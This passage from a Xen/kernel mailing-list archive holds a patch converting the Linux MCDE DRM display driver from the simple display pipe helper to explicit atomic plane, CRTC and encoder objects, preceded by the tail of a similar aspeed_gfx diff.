 #include <drm/drm_drv.h>
 
@@ -130,7 +129,7 @@ static irqreturn_t aspeed_gfx_irq_handler(int irq, void *data)
 	reg = readl(priv->base + CRT_CTRL1);
 
 	if (reg & CRT_CTRL_VERTICAL_INTR_STS) {
-		drm_crtc_handle_vblank(&priv->pipe.crtc);
+		drm_crtc_handle_vblank(&priv->crtc);
 		writel(reg, priv->base + priv->int_clr_reg);
 		return IRQ_HANDLED;
 	}

-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Thu Jul 16 09:03:16 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 16 Jul 2026 09:03:16 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1363571.1615164 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkHzw-0002FF-Jf; Thu, 16 Jul 2026 09:03:16 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1363571.1615164; Thu, 16 Jul 2026 09:03:16 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkHzw-0002Eo-2i; Thu, 16 Jul 2026 09:03:16 +0000
Received: by outflank-mailman (input) for mailman id 1363571;
 Thu, 16 Jul 2026 09:03:14 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ze.huang@oss.qualcomm.com>) id 1wkHzu-0002CR-Fe
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 09:03:14 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkHzt-005Ak4-SV
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 11:03:13 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a589e45-2eae-0a2a0a5409dd-0a2a4505b03c-40
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 11:03:13 +0200
Received: from [205.220.168.131] (helo=mx0a-0031df01.pphosted.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a589e4f-4cb1-0a2a45050019-cddca8831ed0-3
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 11:03:13 +0200
Received: from pps.filterd (m0279865.ppops.net [127.0.0.1])
 by mx0a-0031df01.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66G7DN4r2193181
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 09:03:11 GMT
Received: from mail-pl1-f197.google.com (mail-pl1-f197.google.com
 [209.85.214.197])
 by mx0a-0031df01.pphosted.com (PPS) with ESMTPS id 4fetcf0frc-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 09:03:10 +0000 (GMT)
Received: by mail-pl1-f197.google.com with SMTP id
 d9443c01a7336-2cc5faecf01so123272985ad.1
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 02:03:10 -0700 (PDT)
Received: from le-cd01-lnx.qualcomm.com ([114.94.8.21])
 by smtp.gmail.com with ESMTPSA id
 d9443c01a7336-2cf106b271asm16592555ad.64.2026.07.16.02.03.02
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Thu, 16 Jul 2026 02:03:08 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=qcppdkim1 header.d=qualcomm.com header.i="@qualcomm.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-Id:MIME-Version:References:Subject:To"; dkim=pass header.s=google header.d=oss.qualcomm.com header.i="@oss.qualcomm.com" header.h="Cc:To:In-Reply-To:References:Message-Id:Content-Transfer-Encoding:Content-Type:MIME-Version:Subject:Date:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=qualcomm.com; h=
	cc:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=qcppdkim1; bh=
	3gs6ZFn51ViIywPhcgxd9Yb4ROtm55PINNXW4yAOhhE=; b=PLzkANkoIcwLSt8u
	qxHbKYQBqEIGyO2zD8ScRdo116d1xg/kxNzHjH6wRUBPXjaSRWbwhIWprgtUuLPW
	KKXSZZjdsq6P20BmYmWkfRvjGicEbsDDRmbrScs3ts42gkrr6BG7rkMDzXfkQk7R
	XCM6gQv9sUWksFHIu4edURnNQqBEGuvw+hA2qNFkuswKLyLyNE/9rnRq6YmABhoO
	d/UeUHTGoFT6tFDGmMt/J71Jn/g9BodysDeOv4b751VtWPp0lgwJ83kqMdE538O8
	rm+50X8hZFJXBYVKeXh2Iqpxeea25a7lbs8Dt0DH1gJBof+Wx3TcwLyDz6fJjHiX
	xZ3ULw==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=oss.qualcomm.com; s=google; t=1784192590; x=1784797390; darn=lists.xenproject.org;
        h=cc:to:in-reply-to:references:message-id:content-transfer-encoding
         :content-type:mime-version:subject:date:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=3gs6ZFn51ViIywPhcgxd9Yb4ROtm55PINNXW4yAOhhE=;
        b=DGVsFK6TNWwpmxqWkycRK6R4K8LaMZeHb10d9DlbmSZuCcrQt8fWis7l+/LaWDoSvq
         +wk5u3kzYAkRSUezUQLErS7cHrJPbz02btrwYuhlLRQYim7YG050hueZ0gkxcvnd18/M
         WB8qHNwHkCeswAe1EasWLhoN4BEsBD8f5XqWRgmvBi4KgWYfaCbpyfg+P2P4cH4YTpWs
         hwF4D0VlAalvtPCjQieC1DcMuzLpjwswURLLWyP1Vn6GdsMuMdrFppGwQ+j05TmIGHmr
         yoha/QxsZB3kIVs6hsswnflOYddPK+qyCLHxuxAxQ8jFuQo8RVlcHuLK10dtMChb8mqR
         bEug==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784192590; x=1784797390;
        h=cc:to:in-reply-to:references:message-id:content-transfer-encoding
         :content-type:mime-version:subject:date:from:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=3gs6ZFn51ViIywPhcgxd9Yb4ROtm55PINNXW4yAOhhE=;
        b=o/ubf4yFvFLFSQiV7SxsXXgFRFNnn68r2wzkhV8txganb5s+Kv39Y/Qp7MZorgwCAZ
         klQ8P3vWIAh3lom9d2VPaf210+ldz3v+rhWHH3k3NXV3HmHgx7qKgQ0qCS1fO8rYrCmB
         gr+U2nxavFpmyN8pc2TCesuJqt8f7VrZJY8ybo0H5j3MWE9AU4MEv1SjZQ+tZKcvOEP6
         U0ODtRTh+j++aMNWfN/N2DCEoLaG94rFeN//DtR8UX4GZwpo8+yaifRc1vK5GU7cF/re
         nnNhJD2VQo3hcC0+uB/gO9m5+zSQ/67aQ11MMKAp+fZnpUejgUqfHUwFJHb4TH/8bbAx
         3HpQ==
X-Forwarded-Encrypted: i=1; AHgh+Rq9IJ2NJosYi8Nni7kq9V+3SjZEl2LMrmUcs1gBLnMfhS6N+mc4ccjuGWHmKisaoCPOVQ0qbVPAGM4=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzlyNEijtYaSKPKOz4lH50xP5XbJXAqz9D6qGOXIW4LaZWlXsFo
	WI1usEMVORmDFDIRVEsLu/7A+FzMo4qjw37aLRVPWTAby0DMZNeEj200bhsAbbb24686gxXGy08
	NvgrjIRuc0KpxQRLGc4b0qeFh4Q8NIIfUdmm2H0Gh8FtUfRRJxMgrrOzaIjsGBkyyijLRMIszJB
	E9zN/Y
X-Gm-Gg: AfdE7ck+K7Pc5W9/Al1zx1m/43breUuU1sMNO9I/1yFbZ+8kTRz5VrWXsNAlohuPkme
	G/Z+0tVAc/EcKFH1cJnnOq7wSoWxGZk0dMlQpCSenqis9/PMg20pjrZR9onvRcPm57aGV0m95n9
	Hf4PNeR1EqzzpC/jRrDJFTLPuv8ysc21JutUwfDdeG8S7IGOSWmziQehriBE9GAvH7nujLyM/GS
	zQVfTCz+KL2VQX3VyWuyFOqYKvhw6aC/zhn6ZItlLk6D2/oo6kZ6cUUAlUu6+HMrwoP01W9rnVQ
	63YEi5JuSJW8M2M0gypzAH2Po1Floeb+SQAjfmgoRHUQCi4nuI0pGrj+rjegYja87I5bPPag88C
	Nwki+Xi70kxP1+KmsiBHa
X-Received: by 2002:a17:903:458f:b0:2ca:304:f93e with SMTP id d9443c01a7336-2cee9b58fa9mr109883405ad.22.1784192589927;
        Thu, 16 Jul 2026 02:03:09 -0700 (PDT)
X-Received: by 2002:a17:903:458f:b0:2ca:304:f93e with SMTP id d9443c01a7336-2cee9b58fa9mr109882915ad.22.1784192589269;
        Thu, 16 Jul 2026 02:03:09 -0700 (PDT)
From: Ze Huang <ze.huang@oss.qualcomm.com>
Date: Thu, 16 Jul 2026 17:01:55 +0800
Subject: [PATCH v2 3/8] drm/mcde: replace struct drm_simple_display_pipe
 with regular atomic helpers
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
Message-Id: <20260716-drm-simple-kms-removal-v2-3-1133a8fc3785@oss.qualcomm.com>
References: <20260716-drm-simple-kms-removal-v2-0-1133a8fc3785@oss.qualcomm.com>
In-Reply-To: <20260716-drm-simple-kms-removal-v2-0-1133a8fc3785@oss.qualcomm.com>
To: Alexey Brodkin <abrodkin@synopsys.com>,
        Maarten Lankhorst <maarten.lankhorst@linux.intel.com>,
        Maxime Ripard <mripard@kernel.org>,
        Thomas Zimmermann <tzimmermann@suse.de>,
        David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>,
        Joel Stanley <joel@jms.id.au>,
        Andrew Jeffery <andrew@codeconstruct.com.au>,
        Frank Li <Frank.Li@nxp.com>, Sascha Hauer <s.hauer@pengutronix.de>,
        Pengutronix Kernel Team <kernel@pengutronix.de>,
        Fabio Estevam <festevam@gmail.com>, Linus Walleij <linusw@kernel.org>,
        Hans de Goede <hansg@kernel.org>,
        Alex Lanzano <lanzano.alex@gmail.com>,
        Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>
Cc: dri-devel@lists.freedesktop.org, linux-kernel@vger.kernel.org,
        linux-aspeed@lists.ozlabs.org, linux-arm-kernel@lists.infradead.org,
        imx@lists.linux.dev, xen-devel@lists.xenproject.org,
        Ze Huang <ze.huang@oss.qualcomm.com>
X-Mailer: b4 0.14.3
X-Developer-Signature: v=1; a=ed25519-sha256; t=1784192560; l=15094;
 i=ze.huang@oss.qualcomm.com; s=20260716; h=from:subject:message-id;
 bh=68SyLROdh7gtSjTLnzbueeYHapUemcEJldTPDqGBdBg=;
 b=GZwBrZK7hIoCbv3x6DM9/eN8GGXvJVijZFHj5nkZmiajld9kb1tDcEAiNnFrtIIuriqYSY/32
 F3xiVq3FpDRA9RMcdgRY89Bz0rhbKAJEmtJuYqvmpmgQ33WCA3AICwE
X-Developer-Key: i=ze.huang@oss.qualcomm.com; a=ed25519;
 pk=8uGhlZHInA8NXq7G6u/g59qEcwXwuMRI7nBSnT/ijtY=
X-Proofpoint-ORIG-GUID: RK8m6tIZ2J_xytIXCNVnnO8l4jBduiPK
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzE2MDA5MSBTYWx0ZWRfX25LqL9ZH+6ri
 vuWeU+XzTaneCSKmkFeRm2amv1Goh0wu4pwlJtnjlapkIn2iMRgj3x6ZK7qDEisc7f7cuRRsjLK
 0ZEBug0pjMUpdmLHlGiVIs2Yy5aUhIe12ddzElNjCNJ1UXP9Yx1eaLDXujmfBoQ2+zTCWYIHW1+
 0tlgps4QSJcrjLqEVxWj5+FpjPd0RXddIKgeRg6XYB4oELkaNlxrafHretJr6WBcwwq5mObtjj8
 yCOehaY8T0JMv7lIYLa5VZC3kpm8r5N/gvADDFraaUXo3ASCBB/wCdfwK/9HahGGlCZt2495/vM
 12SSP84Z4lWNnx67TqO3zIiYqJw12eRR7OhnGz4r7CbW0nitsIKf1Q8ii5j15VH0qEUvHfEiG6f
 Pz/y6wKujKwDViCx480uw4vUpwSgYdsusPhenOWEGUNiyYn7VGTDNnVw3UNtoLDsM74syWKsmjl
 ulLKxJOsFBEVx90zZFg==
X-Authority-Analysis: v=2.4 cv=f8R4wuyM c=1 sm=1 tr=0 ts=6a589e4e cx=c_pps
 a=cmESyDAEBpBGqyK7t0alAg==:117 a=Uz3yg00KUFJ2y2WijEJ4bw==:17
 a=IkcTkHD0fZMA:10 a=RAioF0-LDSMA:10 a=s4-Qcg_JpJYA:10
 a=VkNPw1HP01LnGYTKEx00:22 a=u7WPNUs3qKkmUXheDGA7:22 a=Um2Pa8k9VHT-vaBCBUpS:22
 a=EUspDBNiAAAA:8 a=7TuhGXn_jpZpJwHYtc4A:9 a=QEXdDO2ut3YA:10
 a=1OuFwYUASf3TG4hYMiVC:22
X-Proofpoint-GUID: RK8m6tIZ2J_xytIXCNVnnO8l4jBduiPK
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzE2MDA5MSBTYWx0ZWRfX5/uSnMnBB1n0
 oY/TAkWm8sDt39kz5SM36+X9g7E5rDL+griduBse+uP1XCbOdeQOqFwcebY+JEunjbRyogmCFwS
 nF9rEDfUbLq1OGq6szbTb3FeEWSKMz8=
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-16_03,2026-07-15_02,2025-10-01_01
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 spamscore=0 clxscore=1015 impostorscore=0 priorityscore=1501 bulkscore=0
 phishscore=0 suspectscore=0 lowpriorityscore=0 malwarescore=0 adultscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607160091
X-purgate-ID: tlsNG-c201ff/1784192593-F5EA92A1-F02F7ECD/0/0
X-purgate-type: clean
X-purgate-size: 15096

Convert MCDE to explicit plane, CRTC and encoder objects.

Handle pending page-flip events from the CRTC atomic flush path using the
commit-local CRTC state, and avoid manual connector/encoder attachment
before the connector has been created by the bridge path.

Signed-off-by: Ze Huang <ze.huang@oss.qualcomm.com>
---
 drivers/gpu/drm/mcde/mcde_display.c | 251 +++++++++++++++++++++++-------------
 drivers/gpu/drm/mcde/mcde_drm.h     |   8 +-
 drivers/gpu/drm/mcde/mcde_drv.c     |   8 +-
 3 files changed, 173 insertions(+), 94 deletions(-)

diff --git a/drivers/gpu/drm/mcde/mcde_display.c b/drivers/gpu/drm/mcde/mcde_display.c
index 257a6e84dd58..86edf94c5237 100644
--- a/drivers/gpu/drm/mcde/mcde_display.c
+++ b/drivers/gpu/drm/mcde/mcde_display.c
@@ -10,6 +10,7 @@
 #include <linux/regulator/consumer.h>
 #include <linux/media-bus-format.h>
 
+#include <drm/drm_atomic_helper.h>
 #include <drm/drm_device.h>
 #include <drm/drm_fb_dma_helper.h>
 #include <drm/drm_fourcc.h>
@@ -18,7 +19,6 @@
 #include <drm/drm_gem_dma_helper.h>
 #include <drm/drm_mipi_dsi.h>
 #include <drm/drm_print.h>
-#include <drm/drm_simple_kms_helper.h>
 #include <drm/drm_bridge.h>
 #include <drm/drm_vblank.h>
 #include <video/mipi_display.h>
@@ -132,7 +132,7 @@ void mcde_display_irq(struct mcde *mcde)
 	writel(mispp, mcde->regs + MCDE_RISPP);
 
 	if (vblank)
-		drm_crtc_handle_vblank(&mcde->pipe.crtc);
+		drm_crtc_handle_vblank(&mcde->crtc);
 
 	if (misovl)
 		dev_info(mcde->dev, "some stray overlay IRQ %08x\n", misovl);
@@ -157,40 +157,57 @@ void mcde_display_disable_irqs(struct mcde *mcde)
 	writel(0xFFFFFFFF, mcde->regs + MCDE_RISCHNL);
 }
 
-static int mcde_display_check(struct drm_simple_display_pipe *pipe,
-			      struct drm_plane_state *pstate,
-			      struct drm_crtc_state *cstate)
+static int mcde_plane_helper_atomic_check(struct drm_plane *plane,
+					  struct drm_atomic_commit *commit)
 {
-	const struct drm_display_mode *mode = &cstate->mode;
-	struct drm_framebuffer *old_fb = pipe->plane.state->fb;
+	struct drm_plane_state *pstate = drm_atomic_get_new_plane_state(commit, plane);
+	struct drm_plane_state *old_pstate = drm_atomic_get_old_plane_state(commit, plane);
+	struct drm_crtc *crtc = pstate->crtc;
+	struct drm_crtc_state *cstate = NULL;
+	const struct drm_display_mode *mode;
+	struct drm_framebuffer *old_fb = old_pstate->fb;
 	struct drm_framebuffer *fb = pstate->fb;
+	int ret;
 
-	if (fb) {
-		u32 offset = drm_fb_dma_get_gem_addr(fb, pstate, 0);
+	if (crtc)
+		cstate = drm_atomic_get_new_crtc_state(commit, crtc);
 
-		/* FB base address must be dword aligned. */
-		if (offset & 3) {
-			DRM_DEBUG_KMS("FB not 32-bit aligned\n");
-			return -EINVAL;
-		}
+	ret = drm_atomic_helper_check_plane_state(pstate, cstate,
+						  DRM_PLANE_NO_SCALING,
+						  DRM_PLANE_NO_SCALING,
+						  false, false);
+	if (ret)
+		return ret;
 
-		/*
-		 * There's no pitch register, the mode's hdisplay
-		 * controls this.
-		 */
-		if (fb->pitches[0] != mode->hdisplay * fb->format->cpp[0]) {
-			DRM_DEBUG_KMS("can't handle pitches\n");
-			return -EINVAL;
-		}
+	if (!pstate->visible || !fb)
+		return 0;
 
-		/*
-		 * We can't change the FB format in a flicker-free
-		 * manner (and only update it during CRTC enable).
-		 */
-		if (old_fb && old_fb->format != fb->format)
-			cstate->mode_changed = true;
+	mode = &cstate->mode;
+
+	u32 offset = drm_fb_dma_get_gem_addr(fb, pstate, 0);
+
+	/* FB base address must be dword aligned. */
+	if (offset & 3) {
+		DRM_DEBUG_KMS("FB not 32-bit aligned\n");
+		return -EINVAL;
+	}
+
+	/*
+	 * There's no pitch register, the mode's hdisplay
+	 * controls this.
+	 */
+	if (fb->pitches[0] != mode->hdisplay * fb->format->cpp[0]) {
+		DRM_DEBUG_KMS("can't handle pitches\n");
+		return -EINVAL;
 	}
 
+	/*
+	 * We can't change the FB format in a flicker-free
+	 * manner (and only update it during CRTC enable).
+	 */
+	if (old_fb && old_fb->format != fb->format)
+		cstate->mode_changed = true;
+
 	return 0;
 }
 
@@ -1149,16 +1166,15 @@ static void mcde_setup_dsi(struct mcde *mcde, const struct drm_display_mode *mod
 	*dsi_formatter_frame = formatter_frame;
 }
 
-static void mcde_display_enable(struct drm_simple_display_pipe *pipe,
-				struct drm_crtc_state *cstate,
-				struct drm_plane_state *plane_state)
+static void mcde_crtc_helper_atomic_enable(struct drm_crtc *crtc,
+					   struct drm_atomic_commit *commit)
 {
-	struct drm_crtc *crtc = &pipe->crtc;
-	struct drm_plane *plane = &pipe->plane;
 	struct drm_device *drm = crtc->dev;
 	struct mcde *mcde = to_mcde(drm);
+	struct drm_crtc_state *cstate = drm_atomic_get_new_crtc_state(commit, crtc);
+	struct drm_plane_state *plane_state = drm_atomic_get_new_plane_state(commit, &mcde->plane);
 	const struct drm_display_mode *mode = &cstate->mode;
-	struct drm_framebuffer *fb = plane->state->fb;
+	struct drm_framebuffer *fb = plane_state->fb;
 	u32 format = fb->format->format;
 	int dsi_pkt_size;
 	int fifo_wtrmrk;
@@ -1298,9 +1314,10 @@ static void mcde_display_enable(struct drm_simple_display_pipe *pipe,
 	dev_info(drm->dev, "MCDE display is enabled\n");
 }
 
-static void mcde_display_disable(struct drm_simple_display_pipe *pipe)
+static void mcde_crtc_helper_atomic_disable(struct drm_crtc *crtc,
+					    struct drm_atomic_commit *commit)
 {
-	struct drm_crtc *crtc = &pipe->crtc;
+	struct drm_crtc_state *cstate = drm_atomic_get_new_crtc_state(commit, crtc);
 	struct drm_device *drm = crtc->dev;
 	struct mcde *mcde = to_mcde(drm);
 	struct drm_pending_vblank_event *event;
@@ -1318,9 +1335,9 @@ static void mcde_display_disable(struct drm_simple_display_pipe *pipe)
 		mcde_dsi_disable(mcde->bridge);
 	}
 
-	event = crtc->state->event;
+	event = cstate->event;
 	if (event) {
-		crtc->state->event = NULL;
+		cstate->event = NULL;
 
 		spin_lock_irq(&crtc->dev->event_lock);
 		drm_crtc_send_vblank_event(crtc, event);
@@ -1381,44 +1398,13 @@ static void mcde_set_extsrc(struct mcde *mcde, u32 buffer_address)
 	writel(buffer_address + mcde->stride, mcde->regs + MCDE_EXTSRCXA1);
 }
 
-static void mcde_display_update(struct drm_simple_display_pipe *pipe,
-				struct drm_plane_state *old_pstate)
+static void mcde_plane_helper_atomic_update(struct drm_plane *plane,
+					    struct drm_atomic_commit *commit)
 {
-	struct drm_crtc *crtc = &pipe->crtc;
-	struct drm_device *drm = crtc->dev;
-	struct mcde *mcde = to_mcde(drm);
-	struct drm_pending_vblank_event *event = crtc->state->event;
-	struct drm_plane *plane = &pipe->plane;
-	struct drm_plane_state *pstate = plane->state;
+	struct drm_plane_state *pstate = drm_atomic_get_new_plane_state(commit, plane);
+	struct mcde *mcde = to_mcde(plane->dev);
 	struct drm_framebuffer *fb = pstate->fb;
 
-	/*
-	 * Handle any pending event first, we need to arm the vblank
-	 * interrupt before sending any update to the display so we don't
-	 * miss the interrupt.
-	 */
-	if (event) {
-		crtc->state->event = NULL;
-
-		spin_lock_irq(&crtc->dev->event_lock);
-		/*
-		 * Hardware must be on before we can arm any vblank event,
-		 * this is not a scanout controller where there is always
-		 * some periodic update going on, it is completely frozen
-		 * until we get an update. If MCDE output isn't yet enabled,
-		 * we just send a vblank dummy event back.
-		 */
-		if (crtc->state->active && drm_crtc_vblank_get(crtc) == 0) {
-			dev_dbg(mcde->dev, "arm vblank event\n");
-			drm_crtc_arm_vblank_event(crtc, event);
-		} else {
-			dev_dbg(mcde->dev, "insert fake vblank event\n");
-			drm_crtc_send_vblank_event(crtc, event);
-		}
-
-		spin_unlock_irq(&crtc->dev->event_lock);
-	}
-
 	/*
 	 * We do not start sending framebuffer updates before the
 	 * display is enabled. Update events will however be dispatched
@@ -1443,9 +1429,40 @@ static void mcde_display_update(struct drm_simple_display_pipe *pipe,
 	}
 }
 
-static int mcde_display_enable_vblank(struct drm_simple_display_pipe *pipe)
+static void mcde_crtc_helper_atomic_flush(struct drm_crtc *crtc,
+					  struct drm_atomic_commit *commit)
+{
+	struct drm_crtc_state *crtc_state = drm_atomic_get_new_crtc_state(commit, crtc);
+	struct drm_pending_vblank_event *event = crtc_state->event;
+
+	/*
+	 * Handle any pending event first, we need to arm the vblank
+	 * interrupt before sending any update to the display so we don't
+	 * miss the interrupt.
+	 */
+	if (!event)
+		return;
+
+	crtc_state->event = NULL;
+
+	spin_lock_irq(&crtc->dev->event_lock);
+	/*
+	 * Hardware must be on before we can arm any vblank event,
+	 * this is not a scanout controller where there is always
+	 * some periodic update going on, it is completely frozen
+	 * until we get an update. If MCDE output isn't yet enabled,
+	 * we just send a vblank dummy event back.
+	 */
+	if (crtc_state->active && drm_crtc_vblank_get(crtc) == 0)
+		drm_crtc_arm_vblank_event(crtc, event);
+	else
+		drm_crtc_send_vblank_event(crtc, event);
+
+	spin_unlock_irq(&crtc->dev->event_lock);
+}
+
+static int mcde_crtc_enable_vblank(struct drm_crtc *crtc)
 {
-	struct drm_crtc *crtc = &pipe->crtc;
 	struct drm_device *drm = crtc->dev;
 	struct mcde *mcde = to_mcde(drm);
 	u32 val;
@@ -1462,9 +1479,8 @@ static int mcde_display_enable_vblank(struct drm_simple_display_pipe *pipe)
 	return 0;
 }
 
-static void mcde_display_disable_vblank(struct drm_simple_display_pipe *pipe)
+static void mcde_crtc_disable_vblank(struct drm_crtc *crtc)
 {
-	struct drm_crtc *crtc = &pipe->crtc;
 	struct drm_device *drm = crtc->dev;
 	struct mcde *mcde = to_mcde(drm);
 
@@ -1474,13 +1490,55 @@ static void mcde_display_disable_vblank(struct drm_simple_display_pipe *pipe)
 	writel(0xFFFFFFFF, mcde->regs + MCDE_RISPP);
 }
 
-static struct drm_simple_display_pipe_funcs mcde_display_funcs = {
-	.check = mcde_display_check,
-	.enable = mcde_display_enable,
-	.disable = mcde_display_disable,
-	.update = mcde_display_update,
-	.enable_vblank = mcde_display_enable_vblank,
-	.disable_vblank = mcde_display_disable_vblank,
+static int mcde_crtc_helper_atomic_check(struct drm_crtc *crtc, struct drm_atomic_commit *commit)
+{
+	struct drm_crtc_state *crtc_state = drm_atomic_get_new_crtc_state(commit, crtc);
+	int ret;
+
+	if (crtc_state->enable) {
+		ret = drm_atomic_helper_check_crtc_primary_plane(crtc_state);
+		if (ret)
+			return ret;
+	}
+
+	return drm_atomic_add_affected_planes(commit, crtc);
+}
+
+static const struct drm_crtc_funcs mcde_crtc_funcs = {
+	.reset			= drm_atomic_helper_crtc_reset,
+	.destroy		= drm_crtc_cleanup,
+	.set_config		= drm_atomic_helper_set_config,
+	.page_flip		= drm_atomic_helper_page_flip,
+	.atomic_duplicate_state	= drm_atomic_helper_crtc_duplicate_state,
+	.atomic_destroy_state	= drm_atomic_helper_crtc_destroy_state,
+	.enable_vblank		= mcde_crtc_enable_vblank,
+	.disable_vblank		= mcde_crtc_disable_vblank,
+};
+
+static const struct drm_crtc_helper_funcs mcde_crtc_helper_funcs = {
+	.atomic_check	= mcde_crtc_helper_atomic_check,
+	.atomic_enable	= mcde_crtc_helper_atomic_enable,
+	.atomic_disable	= mcde_crtc_helper_atomic_disable,
+	.atomic_flush	= mcde_crtc_helper_atomic_flush,
+};
+
+static const struct drm_plane_funcs mcde_plane_funcs = {
+	.update_plane		= drm_atomic_helper_update_plane,
+	.disable_plane		= drm_atomic_helper_disable_plane,
+	.reset			= drm_atomic_helper_plane_reset,
+	.destroy		= drm_plane_cleanup,
+	.atomic_duplicate_state	= drm_atomic_helper_plane_duplicate_state,
+	.atomic_destroy_state	= drm_atomic_helper_plane_destroy_state,
+};
+
+static const struct drm_plane_helper_funcs mcde_plane_helper_funcs = {
+	.prepare_fb	= drm_gem_plane_helper_prepare_fb,
+	.atomic_check	= mcde_plane_helper_atomic_check,
+	.atomic_update	= mcde_plane_helper_atomic_update,
+};
+
+static const struct drm_encoder_funcs mcde_encoder_funcs = {
+	.destroy = drm_encoder_cleanup,
 };
 
 int mcde_display_init(struct drm_device *drm)
@@ -1510,14 +1568,29 @@ int mcde_display_init(struct drm_device *drm)
 	if (ret)
 		return ret;
 
-	ret = drm_simple_display_pipe_init(drm, &mcde->pipe,
-					   &mcde_display_funcs,
-					   formats, ARRAY_SIZE(formats),
-					   NULL,
-					   mcde->connector);
+	ret = drm_universal_plane_init(drm, &mcde->plane, 0,
+				       &mcde_plane_funcs,
+				       formats, ARRAY_SIZE(formats),
+				       NULL, DRM_PLANE_TYPE_PRIMARY, NULL);
+	if (ret)
+		return ret;
+
+	drm_plane_helper_add(&mcde->plane, &mcde_plane_helper_funcs);
+
+	ret = drm_crtc_init_with_planes(drm, &mcde->crtc, &mcde->plane,
+					NULL, &mcde_crtc_funcs, NULL);
+	if (ret)
+		return ret;
+
+	drm_crtc_helper_add(&mcde->crtc, &mcde_crtc_helper_funcs);
+
+	ret = drm_encoder_init(drm, &mcde->encoder, &mcde_encoder_funcs,
+			       DRM_MODE_ENCODER_NONE, NULL);
 	if (ret)
 		return ret;
 
+	mcde->encoder.possible_crtcs = drm_crtc_mask(&mcde->crtc);
+
 	return 0;
 }
 EXPORT_SYMBOL_GPL(mcde_display_init);
diff --git a/drivers/gpu/drm/mcde/mcde_drm.h b/drivers/gpu/drm/mcde/mcde_drm.h
index ecb70b4b737c..10dd79893811 100644
--- a/drivers/gpu/drm/mcde/mcde_drm.h
+++ b/drivers/gpu/drm/mcde/mcde_drm.h
@@ -4,7 +4,7 @@
  * Parts of this file were based on the MCDE driver by Marcus Lorentzon
  * (C) ST-Ericsson SA 2013
  */
-#include <drm/drm_simple_kms_helper.h>
+#include <drm/drm_encoder.h>
 
 #ifndef _MCDE_DRM_H_
 #define _MCDE_DRM_H_
@@ -72,7 +72,9 @@ struct mcde {
 	struct drm_panel *panel;
 	struct drm_bridge *bridge;
 	struct drm_connector *connector;
-	struct drm_simple_display_pipe pipe;
+	struct drm_plane plane;
+	struct drm_crtc crtc;
+	struct drm_encoder encoder;
 	struct mipi_dsi_device *mdsi;
 	bool dpi_output;
 	s16 stride;
@@ -95,7 +97,7 @@ struct mcde {
 	struct regulator *vana;
 };
 
-#define to_mcde(dev) container_of(dev, struct mcde, drm)
+struct mcde *to_mcde(struct drm_device *dev);
 
 static inline bool mcde_flow_is_video(struct mcde *mcde)
 {
diff --git a/drivers/gpu/drm/mcde/mcde_drv.c b/drivers/gpu/drm/mcde/mcde_drv.c
index 5f2c462bad7e..01787b923520 100644
